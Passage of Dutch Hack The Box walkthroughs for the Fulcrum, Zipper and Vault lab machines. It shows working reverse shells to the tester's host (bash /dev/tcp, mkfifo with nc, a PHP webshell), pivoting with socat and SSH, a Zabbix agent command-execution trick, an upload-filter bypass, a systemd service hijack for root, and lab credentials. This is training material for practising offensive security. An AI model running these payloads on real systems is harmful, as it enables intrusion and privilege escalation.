    sys.exit()
except (KeyboardInterrupt, SystemExit):
    th1.join()
    th2.join()
except Exception as e:
    log.failure(str(e))

Let’s run it:

root@kali:~/htb/fullcrum# python htb-autopwn_fullcrum.py 
[*] Serving payload at port 60000
[+] Trying to bind to 0.0.0.0 on port 60001: Done
[*] Sending php shell payload...
[+] Waiting for connections on 0.0.0.0:60001: Got connection from 10.10.10.62 on port 48450
10.10.10.62 - - [10/Dec/2019 06:17:42] "GET /shell.php HTTP/1.0" 200 -
[*] Uploading socat for port redirection
10.10.10.62 - - [10/Dec/2019 06:17:43] "GET /socat HTTP/1.1" 200 -
[*] Executing ruby_helper.rb
[+] Trying to bind to 0.0.0.0 on port 53: Done
[+] Waiting for connections on 0.0.0.0:53: Got connection from 10.10.10.62 on port 57042
[*] Switching to interactive mode
$ hostname
FILE
PS fulcrum\923a@FILE Documents> $ ipconfig

Windows IP Configuration

Ethernet adapter Ethernet:
   Connection-specific DNS Suffix  . : 
   Link-local IPv6 Address . . . . . : fe80::94:cd4d:be97:5c13%4
   IPv4 Address. . . . . . . . . . . : 10.25.25.3
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.25.25.1

PS fulcrum\923a@FILE Documents> $ whoami
fulcrum\923a

PS fulcrum\923a@FILE Documents> $ systeminfo

Host Name:                 FILE
OS Name:                   Microsoft Windows Server 2016 Standard
OS Version:                10.0.14393 N/A Build 14393
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Member Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00376-30821-72087-AA188
Original Install Date:     02/10/2017, 11:56:42
System Boot Time:          10/12/2019, 09:28:07
System Manufacturer:       QEMU
System Model:              Standard PC (i440FX + PIIX, 1996)
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.

gebruikte referentie : https://alamot.github.io/fulcrum_writeup/

Het 192.168.122.x Network ontdekken


Als we een ifconfig uitvoeren, zien we dat deze machine veel interfaces heeft, wat zeer gebruikelijk is voor een Hack the Box-machine. Een netwerkadres dat onze status heeft is 192.168.122.1 wat erg vreemd is. Waarschijnlijk is deze machine dual-homed.

ifconfig output

www-data@Fulcrum:~$ ifconfig
corp      Link encap:Ethernet  HWaddr 52:54:00:87:ee:c0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:412 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:32601 (32.6 KB)  TX bytes:0 (0.0 B)

ens32     Link encap:Ethernet  HWaddr 00:50:56:b9:44:f1
          inet addr:10.10.10.62  Bcast:10.10.10.255  Mask:255.255.255.0
          inet6 addr: dead:beef::250:56ff:feb9:44f1/64 Scope:Global
          inet6 addr: fe80::250:56ff:feb9:44f1/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:72492 errors:0 dropped:82 overruns:0 frame:0
          TX packets:35844 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:11175820 (11.1 MB)  TX bytes:5982295 (5.9 MB)

virbr0    Link encap:Ethernet  HWaddr 52:54:00:9c:e7:10
          inet addr:192.168.122.1  Bcast:192.168.122.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:53053 errors:0 dropped:0 overruns:0 frame:0
          TX packets:50375 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3317157 (3.3 MB)  TX bytes:2463028 (2.4 MB)

...

Om onze scope een beetje te verkleinen, kunnen we de arp-tabel bekijken en zien met welke machines deze machine onlangs heeft gesproken.

www-data@Fulcrum:~$ arp -a

? (10.10.10.2) at 00:50:56:aa:9c:8d [ether] on ens32
? (192.168.122.228) at 52:54:00:74:9d:17 [ether] on virbr0

We zien dat er een live host is op 192.168.122.228. Onze volgende stap was om te ontdekken welke poorten open waren op deze machine. Er zijn veel manieren om een machine te scannen wanneer u zich op het interne netwerk van iemand bevindt, maar ik geef er de voorkeur aan om een statisch gecompileerde versie van nmap (en bijbehorende modules) te laten vallen als ik de mogelijkheid heb om dit te doen. Het bespaart tijd, en ik wil me thuis voelen wanneer ik op iemands doos zit.

www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmap.tar.gz
--2018-06-22 03:30:11--  http://10.10.15.74:6666/nmap.tar.gz
Connecting to 10.10.15.74:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4875842 (4.6M) [application/gzip]
Saving to: 'nmap.tar.gz'

nmap.tar.gz         100%[===================>]   4.65M  1.04MB/s    in 6.8s

2018-06-22 03:30:19 (705 KB/s) - 'nmap.tar.gz' saved [4875842/4875842]

www-data@Fulcrum:/tmp/.scan$ clear
TERM environment variable not set.
www-data@Fulcrum:/tmp/.scan$ ls
nmap.tar.gz
www-data@Fulcrum:/tmp/.scan$ tar -xvf nmap.tar.gz
...[snip]...

Het downloaden van onze statisch gecompileerde nmap

www-data@Fulcrum:/tmp/.scan$ wget http://10.10.15.74:6666/nmapstatic
--2018-06-22 03:36:28--  http://10.10.15.74:6666/nmapstatic
Connecting to 10.10.15.74:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5944464 (5.7M) [application/octet-stream]
Saving to: 'nmapstatic'

nmapstatic          100%[===================>]   5.67M   576KB/s    in 11s

2018-06-22 03:36:40 (506 KB/s) - 'nmapstatic' saved [5944464/5944464]

Om te scannen met onze statisch gecompileerde nmap, gebruiken we de optie –datadir, waarmee we kunnen porten, net alsof we het eenvoudig vanuit onze eigen box doen.

www-data@Fulcrum:/tmp/.puck$ ./nmap --datadir nmap/ -p- 192.168.122.228
./nmap --datadir nmap/ -p- 192.168.122.228

Starting Nmap 7.11 ( https://nmap.org ) at 2019-12-12 07:54 GMT
Unable to find nmap-services! Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 192.168.122.228
Host is up (0.00080s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE
80/tcp open http
5986/tcp open unknown
8080/tcp open http-alt

Nmap done: 1 IP address (1 host up) scanned in 1229.31 seconds

Zoals we dachten, lijkt het een Windows-host met  Powershell remoteing aangezet

Pivot setup van Fulcrum Host naar 192.168.122.x netwerk

Om PSRemoteing van mijn hostmachine correct te gebruiken, moeten we een pivot instellen. De algemene kern van wat we moeten bereiken, kan met dit diagram worden uitgedrukt.

"Pivot Setup"

Ik ga socat voor het merendeel hiervan gebruiken omdat het een tool is die ik heel goed ken en die vrij eenvoudig te gebruiken is. Hoewel u dezelfde resultaten kunt bereiken, met Metasploit, ssh of een andere gelijkgestemde tool.

We gaan luisteren naar verbindingen op poort 55555 -> en die verbinding doorsturen naar 192.168.122.228 op poort 5986 (PSRemoting-poort).

op ‘fulcrum’ (10.10.10.62)

www-data@Fulcrum:/tmp/ ./socat tcp-listen:55555,reuseaddr,fork tcp:192.168.122.228:5986

op mijn kalibox (192.168.30.130)

Wat dit doet, is dat het gaat luisteren naar verbindingen op poort 5986 -> en die verbinding doorgeeft aan 10.10.10.62 op poort 55555.

root@dastinia:~# socat tcp-listen:5986,reuseaddr,fork tcp:10.10.10.62:55555

Nu kunnen we vanaf mijn (lokale) Windows 10-host verbinding maken met mijn Kali-host (192.168.30.130) en deze verbinding via onze pivots doorgeven aan het netwerk dat we proberen te bereiken. We hebben de extra SkipCACheckSkipCACheck -SkipCNCheck omdat u twee foutmeldingen krijgt waarin staat dat The SSL certificate is signed by an unknown certificate authority. The SSL certificate contains a common name (CN) that does not match the hostname.

PS C:\> Enter-PSSession -Computername 192.168.30.130 -Credential "Webuser" -UseSSL -SessionOption (New-PSSessionOption -SkipCACheck -SkipCNCheck) [192.168.30.130]: PS C:\Users\WebUser\Documents> $env:UserName WebUser [192.168.30.130]: PS C:\Users\WebUser\Documents> $env:UserDomain WEBSERVER

ipv met windows lukt het ook met ruby vanuit kali

root@kali:~/pwk# rlwrap nc -lvp 60001
listening on [any] 60001 ...
10.10.10.62: inverse host lookup failed: Unknown host
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.62] 55160
Linux Fulcrum 4.4.0-96-generic #119-Ubuntu SMP Tue Sep 12 14:59:54 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
10:33:55 up 7 min, 0 users, load average: 5.33, 3.83, 1.84
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1180): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Fulcrum:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@Fulcrum:/$ ssh -N -R 5986:192.168.122.228:5986 puck@10.10.16.70
ssh -N -R 5986:192.168.122.228:5986 puck@10.10.16.70
Could not create directory '/var/www/.ssh'.
The authenticity of host '10.10.16.70 (10.10.16.70)' can't be established.
ECDSA key fingerprint is SHA256:ZN/3s+DZUUKb67rWWgHDGmmRL/3ASPnUuJvTePMcpFQ.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
puck@10.10.16.70's password: *******

root@kali:~/htb/fullcrum# netstat -an | grep 5986
tcp 0 0 127.0.0.1:5986 0.0.0.0:* LISTEN 
tcp 0 0 127.0.0.1:5986 127.0.0.1:53752 ESTABLISHED
tcp 0 0 127.0.0.1:53752 127.0.0.1:5986 ESTABLISHED
tcp6 0 0 ::1:5986 :::* LISTEN
root@kali:~/htb/fullcrum# ruby winrm_shell.rb 
PS webserver\webuser@WEBSERVER Documents> whoami
webserver\webuser

.

root@kali:~/htb/fullcrum# cat winrm_shell.rb
require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new( 
endpoint: 'https://127.0.0.1:5986/wsman',
transport: :ssl,
user: 'WebUser',
password: 'M4ng£m£ntPa55',
:no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets 
output = shell.run(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
end 
puts "Exiting with code #{output.exitcode}"
end

.

PS C:\Users\BTables\Documents> net use z: \\127.0.0.1\c$ /user:923a @fulcrum_bf392748ef4e_$
The command completed successfully.

ruby script used also found at : https://github.com/puckiestyle/ruby/blob/master/winrm_shell.rb

 

 

 

HTB – Zipper

Zoals altijd beginnen we met een nmap scan
root@kali:~/htb/zipper# nmap -p- -sV 10.10.10.108
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-10 03:23 EST
Nmap scan report for 10.10.10.108
Host is up (0.12s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.92 seconds

Porren op de webserver krijgen we de standaard Apache-pagina. Gobuster leidt ons naar onze eerste stap.

root@kali:~/htb# gobuster dir -u http://10.10.10.108 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.108
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2019/12/10 03:11:33 Starting gobuster
===============================================================
/zabbix (Status: 301)

En we hebben een Zabbix login.

login

Een paar snelle win-aanmeldingen proberen, zoals admin / admin, levert niets op. We kunnen ons echter als gast aanmelden.

Als u naar het tabblad ‘Latest data’, zien we het volgende:

data

We hebben dus de Zabbix-server zelf en ook de host met de naam Zipper. We hebben ook een gebruikersnaam van Zapper die blijkbaar een back-upscript heeft. Het opnieuw proberen van de inlogpagina met zapper / zapper leidt ons hiernaar:

no-gui

We kunnen dus niet inloggen op de GUI, maar dit betekent dat een ander type toegang mogelijk is via de Zabbix API.

Het is gewoon zo dat iemand al een API-shell heeft geschreven met Python hier.

Het probleem dat we tegenkomen met dit script, is dat de host-ID bekend moet zijn om de opdrachten uit te voeren die we momenteel niet hebben. Na onderzoek van de API-documentatie hier .We kunnen de API gewoon laten weten wat de host-ID is door deze code aan het script toe te voegen.

host_get = {
    "jsonrpc": "2.0",
    "method": "host.get",
    "params": {
        "output": [
            "hostid",
            "host"
        ],
        "selectInterfaces": [
            "interfaceid",
            "ip"
        ]
    },
    "id": 2,
    "auth": auth['result'],
}

host_id = requests.post(url, data=json.dumps(host_get), headers=(headers))
host_id = host_id.json()

Volledige exploit bevindt zich hier:

https://github.com/puckiestyle/python/blob/master/htb-zipper.py

root@kali:~/htb# ./zipper.py 
[zabbix_cmd]>>:  whoami
zabbix

[zabbix_cmd]>>:  hostname
c1b730b82aad

We vinden Zapper’s backup script in /usr/lib/zabbix/externalscripts.

[zabbix_cmd]>>:  cat /usr/lib/zabbix/externalscripts/backup_script.sh
#!/bin/bash
# zapper wanted a way to backup the zabbix scripts so here it is:
7z a /backups/zabbix_scripts_backup-$(date +%F).7z -pZippityDoDah /usr/lib/zabbix/externalscripts/* &>/dev/nul

En we hebben een paswoord!

Andere benadering: als we het bovenstaande exploit-db-script gebruiken, worden we naar de docker-instantie gebracht waar we nog steeds waardevolle informatie kunnen verzamelen onder /etc/zabbix/zabbix_server.conf
$ cat /etc/zabbix/zabbix_server.conf | grep -v '^ #'
[..knip..]
DBName = zabbixdb
Dbuser = zabbix
Dbpassword = f.YMeMd $ pTbpY3-449
[..knip..]/etc/zabbix/zabbix_server.conf

We kunnen nu inloggen op de  Zabbix admin page met de admin username en f.YMeMd$pTbpY3-449 passwoord.

User verkrijgen

We hebben nu dus een shell op de Zabbix-server. Dit is echter niet het uiteindelijke doel, omdat we naar Zipper en van de Zabbix-server moeten gaan. Als we ifconfig controleren, zien we dat ons IP-adres 172.17.0.2 is.

[zabbix_cmd]>>:  ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 22808  bytes 1982532 (1.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23989  bytes 3173113 (3.1 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 2178  bytes 125349 (125.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2178  bytes 125349 (125.3 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

En als we netstat controleren, zien we een verbinding van een zabbix-agent op 172.17.0.1 met de Zabbix-serverpoort 10051.

Omdat we de Zabbix-server zijn, kunnen we rechtstreeks communiceren met de Zabbix-agent op poort 10050. En we kunnen ook opdrachten uitvoeren via de agent met behulp van system.run!

[zabbix_cmd]>>: echo "system.run[(/bin/bash -c 'bash -i >/dev/tcp/10.10.16.70/443 0<&1 2>&1 &')]" | nc 172.17.0.1 10050
ZBXD
[zabbix_cmd]>>:

En vangen de shell.

root@kali:~/htb/zipper# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.108] 41754
bash: cannot set terminal process group (2206): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@zipper:/$

Nu importeren we een terminal shell met python, en kunnen we  su gebruiken voor de zapper account.

zabbix@zipper:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
zabbix@zipper:/$ su zapper
su zapper
Password: ZippityDoDah


              Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗ 
╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
  ███╔╝ ██║██████╔╝██████╔╝█████╗  ██████╔╝
 ███╔╝  ██║██╔═══╝ ██╔═══╝ ██╔══╝  ██╔══██╗
███████╗██║██║     ██║     ███████╗██║  ██║
╚══════╝╚═╝╚═╝     ╚═╝     ╚══════╝╚═╝  ╚═╝

[0] Packages Need To Be Updated
[>] Backups:
4.0K	/backups/zapper_backup-2019-02-26.7z
4.0K	/backups/zabbix_scripts_backup-2019-02-26.7z

Vanaf hier kunnen we de SSH-sleutel van Zapper pakken en die gebruiken voor een stabielere shell.

Escalating to Root

Met behulp van journalctl kunnen we de live inhoud van het systemd-tijdschrift opvragen. Na een korte periode zien we het volgende:

zapper@zipper:/$ journalctl -f
-- Logs begin at Sat 2018-09-08 02:45:49 EDT. --
~
~
Sep 10 10:50:26 zipper systemd[1]: Started Purge Backups (Script).
Sep 10 10:50:26 zipper purge-backups.sh[24346]: [>] Backups purged successfully

We zien dat systemd een purge-backups.sh script draait om de zoveel tijd. We zien de servicebestanden voor systemd in /etc/systemd/system.

zabbix@zipper:/etc/systemd/system$ ls -al
total 64
drwxr-xr-x 13 root root   4096 Oct  2 13:18 .
drwxr-xr-x  5 root root   4096 Sep  8 06:42 ..
lrwxrwxrwx  1 root root     44 Sep  8 06:40 dbus-org.freedesktop.resolve1.service -> /lib/systemd/system/systemd-resolved.service
drwxr-xr-x  2 root root   4096 Sep  8 06:43 default.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 06:43 emergency.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 06:40 getty.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 06:43 graphical.target.wants
drwxr-xr-x  2 root root   4096 Oct  2 13:18 multi-user.target.wants
drwxr-xr-x  2 root root   4096 Oct  2 13:18 network-online.target.wants
-rw-rw-r--  1 root zapper  132 Sep  8 13:22 purge-backups.service
-rw-rw-r--  1 root zapper  237 Sep  8 13:22 purge-backups.timer
drwxr-xr-x  2 root root   4096 Sep  8 06:43 rescue.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 07:11 sockets.target.wants
lrwxrwxrwx  1 root root     31 Sep  8 06:49 sshd.service -> /lib/systemd/system/ssh.service
-rw-r--r--  1 root root    147 Sep  8 13:03 start-docker.service
drwxr-xr-x  2 root root   4096 Sep  8 06:43 sysinit.target.wants
lrwxrwxrwx  1 root root     35 Sep  8 06:41 syslog.service -> /lib/systemd/system/rsyslog.service
drwxr-xr-x  2 root root   4096 Sep  8 06:41 timers.target.wants
drwxr-xr-x  2 root root   4096 Sep  8 13:24 zabbix-agent.service.wants

We kunnen zien dat de purge-backups.service Zapper toe staat om te schrijven.

zabbix@zipper:/etc/systemd/system$ cat purge-backups.service
[Unit]
Description=Purge Backups (Script)
[Service]
ExecStart=/root/scripts/purge-backups.sh
[Install]
WantedBy=purge-backups.timer

Nu behoeven we alleen nog ‘ExecStart’ te veranderanderen door een script van onze keuze.

We plaatsen een eenvoudige bash reverse shell in /tmp.

#!/bin/bash 
bash -i >/dev/tcp/10.10.16.70/443 0<&1
zapper@zipper:/etc/systemd/system$ chmod +x /tmp/shell.sh

Bewerk de inhoud van de purge-backups.service.

[Unit]
Description=Purge Backups (Script)
[Service]
ExecStart=/tmp/shell.sh
[Install]
WantedBy=purge-backups.timer

Systemd is echter niet opnieuw geladen om het bijgewerkte servicebestand te lezen, dus het zal het oude script blijven uitvoeren totdat het opnieuw is geladen. Dit vereist meestal rootrechten.

In de basismap van Zapper staat een map utils met een setuid-binair bestand.

zapper@zipper:~/utils$ ls -al
total 20
drwxrwxr-x 2 zapper zapper 4096 Sep  8 13:27 .
drwxr-xr-x 6 zapper zapper 4096 Feb 26 11:08 ..
-rwxr-xr-x 1 zapper zapper  194 Sep  8 13:12 backup.sh
-rwsr-sr-x 1 root   root   7556 Sep  8 13:05 zabbix-service

Het uitvoeren van het binaire bestand lijkt het starten en stoppen van de service mogelijk te maken.

zapper@zipper:~/utils$ ./zabbix-service 
start or stop?:

Door strings op het binaire bestand te draaien, kunnen we zien dat het systemd opnieuw wordt geladen met systemctl daemon-reload.

zapper@zipper:~/utils$ strings zabbix-service
~
~
start or stop?: 
start
systemctl daemon-reload && systemctl start zabbix-agent
stop
systemctl stop zabbix-agent
~
~

We kunnen nu de  zabbix-service, stoppen en starten en onze shell vangen.

zapper@zipper:~/utils$ ./zabbix-service stop
zapper@zipper:~/utils$ ./zabbix-service start
root@kali:~/htb/zipper# rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.108] 42242
id
uid=0(root) gid=0(root) groups=0(root)
hostname
zipper
pwd
/
cat root/root.txt
a7c*****b6e
Auteur: Jacco Straathof

HTB – Vault

Recon

nmap

nmap geeft alleen http (80) en ssh (22):

root@kali:~/htb/vault# nmap -sT -p- 10.10.10.109
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-09 06:11 EST
Nmap scan report for vault.htb (10.10.10.109)
Host is up (0.067s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 17.50 seconds

Website – TCP 80

plaats

Gewoon wat tekst:

1541327001907

Diezelfde pagina wordt geladen als /index.php .

gobuster

Aangezien ik de pagina zie als index.php , zal ik zoeken naar php bestanden, maar niets nieuws vinden:

root@kali# gobuster -u http://10.10.10.109 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -x php ===================================================== Gobuster v2.0.0 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : txt,html,php [+] Timeout : 10s ===================================================== 2018/11/04 05:24:14 Starting gobuster ===================================================== /index.php (Status: 200)

Ik merkte op de pagina dat het een klant noemt, sparklays. Ik heb geprobeerd /sparklays , en het is 403 verboden. Ik zal Gobuster vanaf daar opnieuw uitvoeren:

root@kali# gobuster -u http://10.10.10.109/sparklays -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/sparklays/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : php [+] Timeout : 10s ===================================================== 2019/03/27 21:13:17 Starting gobuster ===================================================== /login.php (Status: 200) /admin.php (Status: 200) /design (Status: 301) ===================================================== 2018/11/06 09:28:34 Finished ===================================================== root@kali# gobuster -u http://10.10.10.109/sparklays/design -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,html -t 20 ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.109/sparklays/design/ [+] Threads : 20 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt [+] Status codes : 200,204,301,302,307,403 [+] Extensions : php,html [+] Timeout : 10s ===================================================== 2019/03/28 06:56:46 Starting gobuster ===================================================== /uploads (Status: 301) /design.html (Status: 200) ===================================================== 2018/11/06 09:31:34 Finished =====================================================

changelogo.php

Een bezoek aan http://10.10.10.109/sparklays/design/design.html geeft me een andere link:

1541516499447

Naar aanleiding van http://10.10.10.109/sparklays/design/changelogo.php retourneert een uploadformulier:

1541516512185

Ik kan een afbeelding uploaden en deze met dezelfde naam vinden in /sparklays/design/uploads/ . Als ik een php-bestand upload, krijg ik:

1553772018131

Er is duidelijk een uitbreiding van de witte / zwarte lijst op de server.

Shell op ubuntu als www-data

Toegestane extensies identificeren

Eerst moet ik voorbij de filters komen om te uploaden om mijn php-shell te krijgen. Als ik mijn php-shell test.png noem, wordt deze geüpload, maar worden er fouten gemaakt wanneer ik de pagina bezoek. Maar dat zegt me dat het filter op de bestandsnaam staat.

Aangezien ik geen pro-licentie heb, gebruik ik Burp Intruder zelden, maar voor een korte lijst van een complexe query kan dit een goed geval zijn. Ik maak een lijst met exts om te controleren:

root@kali# cat exts.txt png jpg gif txt php ph3 ph4 ph5 php3 php4 php5 png.php

Nu vind ik een van mijn uploads in burp, klik met de rechtermuisknop, “verzenden naar indringer”.

Eerst wis ik alle markeringen met de knop Wissen, dan vind ik de filename=test.png , markeer de png en klik op “Markering toevoegen”. Nu heb ik dit:

1553772316219

Op het tabblad payloads selecteer ik “Simple list” en vervolgens “Load …” en geef het mijn exts.txt

1553772504051

Nu zal ik klikken op “Aanval starten”. Als ik de lijst eenmaal op lengte sorteer, is het me duidelijk dat de lengte van 717 is voor lading die is geüpload en 710 zijn lading die is geblokkeerd:

1553772553832

Ik kan elk resultaat selecteren en het onderstaande verzoek en antwoord bekijken om te controleren of dat klopt.

Upload Shell

Op basis van die resultaten wordt php5 geüpload en ik weet dat dit een geldige php-extensie is die waarschijnlijk wordt uitgevoerd. Ik bewaar een kopie van mijn eenvoudige php-webshell:

root@kali# cat cmd.php5 <?php system ( $_REQUEST [ 'cmd' ]); ?>

Ik zal het uploaden via de webpagina:

1553772732195

En het werkt:

root@kali# curl -s http://10.10.10.109/sparklays/design/uploads/cmd.php5?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)

Interactieve Shell

Met de webshell op zijn plaats, kan ik een interactieve shell krijgen met behulp van shell.php5

<?php
system ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.70 1337 >/tmp/f');
?>

Na de shell te triggeren met

root@kali:~/htb/vault# curl http://vault.htb/sparklays/design/uploads/shell.php5

krijg ik  een callback:

root@kali:~/htb/vault# rlwrap nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.16.70] from (UNKNOWN) [10.10.10.109] 41832
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html/sparklays/design/uploads$

Shell op ubuntu als Dave

Opsomming

Door rond te kijken heb ik toegang tot de thuismap van Dave en er staan ​​drie interessante bestanden op deze desktop.

www-data@ubuntu:/home/dave/Desktop$ ls -l
total 12
-rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers
-rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key
-rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh

Servers hebben een lijst met servers, en alleen op basis van de “x” en de hostnaam, denk ik dat ik naar kluis moet gaan:

www-data@ubuntu:/home/dave/Desktop$ cat Servers
DNS + Configurator - 192.168.122.4
Firewall - 192.168.122.5
The Vault - x

key heeft een enkele string, die ik later zal noteren:

www-data@ubuntu:/home/dave/Desktop$ cat key itscominghome

ssh heeft wat ik kan raden een gebruikersnaam en wachtwoord is:

www-data@ubuntu:/home/dave/Desktop$ cat ssh dave Dav3therav3123

su

Ik kan de credits testen met su , en het werkt:

www-data@ubuntu:/home/dave/Desktop$
su dave
Password: Dav3therav3123
dave@ubuntu:~/Desktop$

ssh

Ik kan er nu in met ssh:

root@kali:~/htb/vault# ssh dave@10.10.10.109 
dave@10.10.10.109's password: Dav3therav3123
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-45-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

222 packages can be updated.
47 updates are security updates.

Last login: Mon Dec 9 02:19:16 2019 from 10.10.16.70
dave@ubuntu:~$

extra hosts identificatie

Ik weet dat er hosts in het bereik 192.168.122.0/24 zijn. Ik zie dat mijn huidige host de .1 is:

dave@ubuntu:~/Desktop$ ifconfig virbr0
virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49 
inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:772 errors:0 dropped:0 overruns:0 frame:0
TX packets:981 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000 
RX bytes:88103 (88.1 KB) TX bytes:79958 (79.9 KB)

Ik begin een ping-sweep en vind meteen twee extra hosts:

dave@ubuntu:~/Desktop$ time for i in $(seq 1 254); do (ping -c 1 192.168.122.${i} | grep "bytes from" &); done 64 bytes from 192.168.122.1: icmp_seq=1 ttl=64 time=0.051 ms 64 bytes from 192.168.122.4: icmp_seq=1 ttl=64 time=0.205 ms 64 bytes from 192.168.122.5: icmp_seq=1 ttl=64 time=1.05 ms real 0m0.286s user 0m0.159s sys 0m0.075s

Uit bovenstaande opmerking weet ik dat .4 “DNS + Configurator” is en .5 de “Firewall” is.

Firewall

Ik start een poortscan op de .5-host met behulp van nc . Het duurt iets langer om te voltooien en vindt niets.

dave@ubuntu:~$ time for i in $(seq 1 65535); do (nc -zvn 192.168.122.5 ${i} 2>&1 | grep -v "Connection refused" &); done real 20m4.802s user 2m49.629s sys 6m47.633s

Dit is niet verwonderlijk voor een firewall.

DNS + Configurator

Tegelijkertijd start ik in een andere SSH-sessie een poortscan op .4. De twee open poorten keren vrijwel onmiddellijk terug:

